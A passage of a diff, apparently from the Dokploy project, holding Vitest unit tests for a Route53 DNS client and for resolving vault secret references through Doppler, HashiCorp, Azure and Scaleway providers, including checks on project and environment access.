expect(command.input.ChangeBatch.Changes).toEqual([
|
||||||
|
{
|
||||||
|
Action: "UPSERT",
|
||||||
|
ResourceRecordSet: {
|
||||||
|
Name: "app.example.com.",
|
||||||
|
Type: "A",
|
||||||
|
TTL: 300,
|
||||||
|
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("route53Client.updateRecord", () => {
|
||||||
|
it("only UPSERTs when the name/type identity did not change", async () => {
|
||||||
|
send.mockResolvedValueOnce({});
|
||||||
|
|
||||||
|
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
|
||||||
|
type: "A",
|
||||||
|
name: "app.example.com",
|
||||||
|
content: "9.9.9.9",
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(send).toHaveBeenCalledTimes(1);
|
||||||
|
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||||
|
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
|
||||||
|
expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("deletes the old record set and creates the new one on rename", async () => {
|
||||||
|
const existingSet = {
|
||||||
|
Name: "old.example.com.",
|
||||||
|
Type: "A",
|
||||||
|
TTL: 300,
|
||||||
|
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||||
|
};
|
||||||
|
send
|
||||||
|
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
|
||||||
|
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
|
||||||
|
|
||||||
|
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
|
||||||
|
type: "A",
|
||||||
|
name: "new.example.com",
|
||||||
|
content: "1.1.1.1",
|
||||||
|
});
|
||||||
|
|
||||||
|
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||||
|
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||||
|
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||||
|
{
|
||||||
|
Action: "UPSERT",
|
||||||
|
ResourceRecordSet: {
|
||||||
|
Name: "new.example.com.",
|
||||||
|
Type: "A",
|
||||||
|
TTL: 300,
|
||||||
|
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("skips the DELETE when the old record no longer exists", async () => {
|
||||||
|
send
|
||||||
|
.mockResolvedValueOnce({ ResourceRecordSets: [] })
|
||||||
|
.mockResolvedValueOnce({});
|
||||||
|
|
||||||
|
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
|
||||||
|
type: "A",
|
||||||
|
name: "new.example.com",
|
||||||
|
content: "1.1.1.1",
|
||||||
|
});
|
||||||
|
|
||||||
|
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||||
|
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
|
||||||
|
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("route53Client.deleteRecord", () => {
|
||||||
|
it("deletes the record set found by name/type", async () => {
|
||||||
|
const existingSet = {
|
||||||
|
Name: "app.example.com.",
|
||||||
|
Type: "A",
|
||||||
|
TTL: 300,
|
||||||
|
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||||
|
};
|
||||||
|
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
|
||||||
|
send.mockResolvedValueOnce({});
|
||||||
|
|
||||||
|
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
|
||||||
|
|
||||||
|
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||||
|
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||||
|
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the record no longer exists", async () => {
|
||||||
|
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
|
||||||
|
).rejects.toThrow("not found");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws for a malformed record id", async () => {
|
||||||
|
await expect(
|
||||||
|
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
|
||||||
|
).rejects.toThrow("Invalid Route53 record id");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("route53Client.testConnection", () => {
|
||||||
|
it("resolves when ListHostedZones succeeds", async () => {
|
||||||
|
send.mockResolvedValueOnce({ HostedZones: [] });
|
||||||
|
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("propagates SDK errors", async () => {
|
||||||
|
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
|
||||||
|
await expect(route53Client.testConnection(config)).rejects.toThrow(
|
||||||
|
"InvalidClientTokenId",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
+618
@@ -0,0 +1,618 @@
|
|||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
const findMany = vi.fn();
|
||||||
|
|
||||||
|
vi.mock("@dokploy/server/db", () => ({
|
||||||
|
db: {
|
||||||
|
query: {
|
||||||
|
vaultProvider: {
|
||||||
|
findMany: (...args: unknown[]) => findMany(...args),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
|
||||||
|
import {
|
||||||
|
resolveVaultReferences,
|
||||||
|
withResolvedVaultRefs,
|
||||||
|
} from "@dokploy/server/utils/vault";
|
||||||
|
import { azureClient } from "@dokploy/server/utils/vault/azure";
|
||||||
|
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
|
||||||
|
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
|
||||||
|
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
|
||||||
|
|
||||||
|
const mockFetch = vi.fn();
|
||||||
|
global.fetch = mockFetch as typeof fetch;
|
||||||
|
|
||||||
|
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||||
|
({
|
||||||
|
ok,
|
||||||
|
status,
|
||||||
|
json: async () => body,
|
||||||
|
}) as Response;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
findMany.mockReset();
|
||||||
|
mockFetch.mockReset();
|
||||||
|
});
|
||||||
|
|
||||||
|
const scope = {
|
||||||
|
organizationId: "org-1",
|
||||||
|
projectId: "proj-1",
|
||||||
|
environmentId: "env-1",
|
||||||
|
};
|
||||||
|
|
||||||
|
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
|
||||||
|
|
||||||
|
describe("resolveVaultReferences", () => {
|
||||||
|
it("returns input untouched and skips the db when no refs are present", async () => {
|
||||||
|
const env = "FOO=bar\nBAZ=${{project.QUX}}";
|
||||||
|
const result = await resolveVaultReferences(env, scope);
|
||||||
|
expect(result).toBe(env);
|
||||||
|
expect(findMany).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns null/empty inputs unchanged", async () => {
|
||||||
|
expect(await resolveVaultReferences(null, scope)).toBeNull();
|
||||||
|
expect(await resolveVaultReferences("", scope)).toBe("");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when refs exist but no organization context is given", async () => {
|
||||||
|
await expect(
|
||||||
|
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
|
||||||
|
).rejects.toThrow("not supported in this context");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws for an unknown provider", async () => {
|
||||||
|
findMany.mockResolvedValue([]);
|
||||||
|
await expect(
|
||||||
|
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
|
||||||
|
).rejects.toThrow('Vault provider "missing" not found');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the provider is not assigned to the project", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
await expect(
|
||||||
|
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||||
|
).rejects.toThrow("not enabled for this project/environment");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the provider is restricted to another environment", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: [
|
||||||
|
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
await expect(
|
||||||
|
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||||
|
).rejects.toThrow("not enabled for this project/environment");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows a provider restricted to the matching environment", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
|
||||||
|
const result = await resolveVaultReferences(
|
||||||
|
"FOO=${{vault.prod.SECRET}}",
|
||||||
|
scope,
|
||||||
|
);
|
||||||
|
expect(result).toBe("FOO=value-1");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("resolves refs through a doppler provider", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "doppler-prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: assignedEverywhere,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
|
||||||
|
);
|
||||||
|
|
||||||
|
const result = await resolveVaultReferences(
|
||||||
|
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
|
||||||
|
scope,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the secret is missing in the provider", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "doppler-prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: assignedEverywhere,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
|
||||||
|
).rejects.toThrow('secret "MISSING" not found');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
|
||||||
|
it("resolves entity env sources so sync interpolation sees real values", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: assignedEverywhere,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
|
||||||
|
|
||||||
|
const entity = {
|
||||||
|
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
|
||||||
|
environment: {
|
||||||
|
environmentId: "env-1",
|
||||||
|
env: null,
|
||||||
|
project: {
|
||||||
|
projectId: "proj-1",
|
||||||
|
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
|
||||||
|
organizationId: "org-1",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
const resolved = await withResolvedVaultRefs(entity);
|
||||||
|
const prepared = prepareEnvironmentVariables(
|
||||||
|
resolved.env,
|
||||||
|
resolved.environment.project.env,
|
||||||
|
resolved.environment.env,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("resolves buildArgs and buildSecrets when present", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "prod",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: assignedEverywhere,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
|
||||||
|
|
||||||
|
const resolved = await withResolvedVaultRefs({
|
||||||
|
env: "FOO=bar",
|
||||||
|
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
|
||||||
|
buildSecrets: null,
|
||||||
|
environment: {
|
||||||
|
environmentId: "env-1",
|
||||||
|
env: null,
|
||||||
|
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
|
||||||
|
expect(resolved.buildSecrets).toBeNull();
|
||||||
|
expect(resolved.env).toBe("FOO=bar");
|
||||||
|
});
|
||||||
|
|
||||||
|
it.each([
|
||||||
|
["service env", { env: "SECRET=${{vault.locked.X}}" }],
|
||||||
|
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
|
||||||
|
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
|
||||||
|
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
|
||||||
|
])(
|
||||||
|
"rejects a ref to an unassigned provider placed in the %s",
|
||||||
|
async (_source, overrides) => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "locked",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
|
||||||
|
const entity = {
|
||||||
|
env: (overrides as { env?: string }).env ?? "FOO=bar",
|
||||||
|
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
|
||||||
|
environment: {
|
||||||
|
environmentId: "env-1",
|
||||||
|
env:
|
||||||
|
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
|
||||||
|
project: {
|
||||||
|
projectId: "proj-1",
|
||||||
|
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
|
||||||
|
organizationId: "org-1",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
|
||||||
|
"not enabled for this project/environment",
|
||||||
|
);
|
||||||
|
expect(mockFetch).not.toHaveBeenCalled();
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
it("rejects a ref restricted to another environment from the environment env", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "prod-only",
|
||||||
|
providerType: "doppler",
|
||||||
|
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||||
|
assignments: [
|
||||||
|
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
withResolvedVaultRefs({
|
||||||
|
env: null,
|
||||||
|
environment: {
|
||||||
|
environmentId: "dev-env",
|
||||||
|
env: "SECRET=${{vault.prod-only.X}}",
|
||||||
|
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
).rejects.toThrow("not enabled for this project/environment");
|
||||||
|
expect(mockFetch).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
|
||||||
|
expect(() =>
|
||||||
|
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
|
||||||
|
).toThrow("Unresolved vault reference");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps working without vault refs", () => {
|
||||||
|
const prepared = prepareEnvironmentVariables(
|
||||||
|
"FOO=${{project.BAR}}",
|
||||||
|
"BAR=baz",
|
||||||
|
);
|
||||||
|
expect(prepared).toEqual(["FOO=baz"]);
|
||||||
|
expect(findMany).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("hashicorp client", () => {
|
||||||
|
const config = {
|
||||||
|
providerType: "hashicorp" as const,
|
||||||
|
url: "https://vault.example.com",
|
||||||
|
token: "hvs.token",
|
||||||
|
mount: "secret",
|
||||||
|
};
|
||||||
|
|
||||||
|
it("rejects refs without a field", async () => {
|
||||||
|
await expect(
|
||||||
|
hashicorpClient.getSecrets(config, ["myapp/prod"]),
|
||||||
|
).rejects.toThrow("expected format <path>:<field>");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("groups refs by path and picks fields from KV v2 data", async () => {
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
|
||||||
|
);
|
||||||
|
|
||||||
|
const result = await hashicorpClient.getSecrets(config, [
|
||||||
|
"myapp/prod:USER",
|
||||||
|
"myapp/prod:PASS",
|
||||||
|
]);
|
||||||
|
|
||||||
|
expect(result).toEqual({
|
||||||
|
"myapp/prod:USER": "admin",
|
||||||
|
"myapp/prod:PASS": "pw",
|
||||||
|
});
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||||
|
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||||
|
"https://vault.example.com/v1/secret/data/myapp/prod",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when a field is missing", async () => {
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
|
||||||
|
await expect(
|
||||||
|
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
|
||||||
|
).rejects.toThrow('field "MISSING" not found');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("lists full path:field refs by walking directories", async () => {
|
||||||
|
mockFetch.mockImplementation(async (url: string) => {
|
||||||
|
if (url.includes("/metadata?list=true")) {
|
||||||
|
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
|
||||||
|
}
|
||||||
|
if (url.includes("/metadata/myapp?list=true")) {
|
||||||
|
return jsonResponse({ data: { keys: ["prod"] } });
|
||||||
|
}
|
||||||
|
if (url.includes("/data/myapp/prod")) {
|
||||||
|
return jsonResponse({
|
||||||
|
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (url.includes("/data/shared")) {
|
||||||
|
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
|
||||||
|
}
|
||||||
|
return jsonResponse({}, false, 404);
|
||||||
|
});
|
||||||
|
|
||||||
|
const names = await hashicorpClient.listSecretNames?.(config);
|
||||||
|
|
||||||
|
expect(names).toEqual([
|
||||||
|
"myapp/prod:API_KEY",
|
||||||
|
"myapp/prod:DB_PASSWORD",
|
||||||
|
"shared:STRIPE_KEY",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("azure client", () => {
|
||||||
|
const config = {
|
||||||
|
providerType: "azure" as const,
|
||||||
|
vaultUri: "https://my-vault.vault.azure.net",
|
||||||
|
tenantId: "tenant-1",
|
||||||
|
clientId: "client-1",
|
||||||
|
clientSecret: "secret-1",
|
||||||
|
};
|
||||||
|
|
||||||
|
it("authenticates and reads secrets by name", async () => {
|
||||||
|
mockFetch.mockImplementation(async (url: string) => {
|
||||||
|
if (url.includes("login.microsoftonline.com/tenant-1")) {
|
||||||
|
return jsonResponse({ access_token: "azure-token" });
|
||||||
|
}
|
||||||
|
if (url.includes("/secrets/db-password?")) {
|
||||||
|
return jsonResponse({ value: "azure-pw" });
|
||||||
|
}
|
||||||
|
return jsonResponse({}, false, 404);
|
||||||
|
});
|
||||||
|
|
||||||
|
const result = await azureClient.getSecrets(config, ["db-password"]);
|
||||||
|
|
||||||
|
expect(result).toEqual({ "db-password": "azure-pw" });
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws a clear error for missing secrets", async () => {
|
||||||
|
mockFetch.mockImplementation(async (url: string) => {
|
||||||
|
if (url.includes("login.microsoftonline.com")) {
|
||||||
|
return jsonResponse({ access_token: "azure-token" });
|
||||||
|
}
|
||||||
|
return jsonResponse({}, false, 404);
|
||||||
|
});
|
||||||
|
|
||||||
|
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||||
|
'secret "nope" not found',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("lists secret names from paged results", async () => {
|
||||||
|
mockFetch.mockImplementation(async (url: string) => {
|
||||||
|
if (url.includes("login.microsoftonline.com")) {
|
||||||
|
return jsonResponse({ access_token: "azure-token" });
|
||||||
|
}
|
||||||
|
if (url.includes("skiptoken")) {
|
||||||
|
return jsonResponse({
|
||||||
|
value: [{ id: `${config.vaultUri}/secrets/second` }],
|
||||||
|
nextLink: null,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return jsonResponse({
|
||||||
|
value: [{ id: `${config.vaultUri}/secrets/first` }],
|
||||||
|
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
const names = await azureClient.listSecretNames?.(config);
|
||||||
|
|
||||||
|
expect(names).toEqual(["first", "second"]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("doppler client", () => {
|
||||||
|
it("propagates auth errors with the status code", async () => {
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
|
||||||
|
await expect(
|
||||||
|
dopplerClient.getSecrets(
|
||||||
|
{ providerType: "doppler", serviceToken: "bad" },
|
||||||
|
["FOO"],
|
||||||
|
),
|
||||||
|
).rejects.toThrow("status 401");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("scaleway client", () => {
|
||||||
|
const config = {
|
||||||
|
providerType: "scaleway" as const,
|
||||||
|
region: "fr-par",
|
||||||
|
projectId: "project-1",
|
||||||
|
secretKey: "scw-secret-key",
|
||||||
|
apiUrl: "https://api.scaleway.com",
|
||||||
|
};
|
||||||
|
|
||||||
|
const accessResponse = (value: string) =>
|
||||||
|
jsonResponse({
|
||||||
|
secret_id: "secret-1",
|
||||||
|
revision: 1,
|
||||||
|
data: Buffer.from(value).toString("base64"),
|
||||||
|
});
|
||||||
|
|
||||||
|
it("reads a secret by name from the root path and decodes the payload", async () => {
|
||||||
|
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
|
||||||
|
|
||||||
|
const result = await scalewayClient.getSecrets(config, ["db-url"]);
|
||||||
|
|
||||||
|
expect(result).toEqual({ "db-url": "postgres://real" });
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||||
|
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||||
|
expect(url).toBe(
|
||||||
|
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
|
||||||
|
);
|
||||||
|
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
|
||||||
|
"scw-secret-key",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("sends the folder of a path-qualified ref as secret_path", async () => {
|
||||||
|
mockFetch.mockResolvedValue(accessResponse("value"));
|
||||||
|
|
||||||
|
await scalewayClient.getSecrets(config, ["prod/db/password"]);
|
||||||
|
|
||||||
|
expect(mockFetch.mock.calls[0]?.[0]).toContain(
|
||||||
|
"secret_name=password&secret_path=%2Fprod%2Fdb",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("extracts a field from a JSON secret and fetches the secret once", async () => {
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
|
||||||
|
);
|
||||||
|
|
||||||
|
const result = await scalewayClient.getSecrets(config, [
|
||||||
|
"db-creds:user",
|
||||||
|
"db-creds:port",
|
||||||
|
]);
|
||||||
|
|
||||||
|
expect(result).toEqual({
|
||||||
|
"db-creds:user": "admin",
|
||||||
|
"db-creds:port": "5432",
|
||||||
|
});
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the secret is not JSON but a field is requested", async () => {
|
||||||
|
mockFetch.mockResolvedValue(accessResponse("plain-value"));
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
scalewayClient.getSecrets(config, ["db-creds:user"]),
|
||||||
|
).rejects.toThrow("is not JSON");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the requested field is missing", async () => {
|
||||||
|
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
scalewayClient.getSecrets(config, ["db-creds:password"]),
|
||||||
|
).rejects.toThrow('field "password" not found');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws a clear error for a missing secret", async () => {
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
jsonResponse({ message: "not found" }, false, 404),
|
||||||
|
);
|
||||||
|
|
||||||
|
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
|
||||||
|
'secret "nope" not found in path "/"',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("reports authentication failures with the API message", async () => {
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
jsonResponse({ message: "denied authentication" }, false, 403),
|
||||||
|
);
|
||||||
|
|
||||||
|
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||||
|
"authentication failed (status 403: denied authentication)",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("throws when the secret has no enabled version", async () => {
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
|
||||||
|
|
||||||
|
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
|
||||||
|
"has no enabled version",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a ref without a secret name", async () => {
|
||||||
|
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
|
||||||
|
"expected format <name> or <folder>/<name>[:field]",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("tests the connection against the secrets listing", async () => {
|
||||||
|
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
|
||||||
|
|
||||||
|
await scalewayClient.testConnection(config);
|
||||||
|
|
||||||
|
expect(mockFetch.mock.calls[0]?.[0]).toBe(
|
||||||
|
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("lists secret names with their folder prefix", async () => {
|
||||||
|
mockFetch.mockResolvedValue(
|
||||||
|
jsonResponse({
|
||||||
|
secrets: [
|
||||||
|
{ id: "1", name: "db-url", path: "/" },
|
||||||
|
{ id: "2", name: "password", path: "/prod/db" },
|
||||||
|
],
|
||||||
|
total_count: 2,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const names = await scalewayClient.listSecretNames?.(config);
|
||||||
|
|
||||||
|
expect(names).toEqual(["db-url", "prod/db/password"]);
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("follows pagination until a short page is returned", async () => {
|
||||||
|
const page = (start: number, size: number) =>
|
||||||
|
jsonResponse({
|
||||||
|
secrets: Array.from({ length: size }, (_, index) => ({
|
||||||
|
id: String(start + index),
|
||||||
|
name: `secret-${start + index}`,
|
||||||
|
path: "/",
|
||||||
|
})),
|
||||||
|
});
|
||||||
|
mockFetch.mockImplementation(async (url: string) =>
|
||||||
|
url.includes("page=2") ? page(101, 2) : page(1, 100),
|
||||||
|
);
|
||||||
|
|
||||||
|
const names = await scalewayClient.listSecretNames?.(config);
|
||||||
|
|
||||||
|
expect(names).toHaveLength(102);
|
||||||
|
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("resolves env refs end to end through a scaleway provider", async () => {
|
||||||
|
findMany.mockResolvedValue([
|
||||||
|
{
|
||||||
|
name: "scw-prod",
|
||||||
|
providerType: "scaleway",
|
||||||
|
config,
|
||||||
|
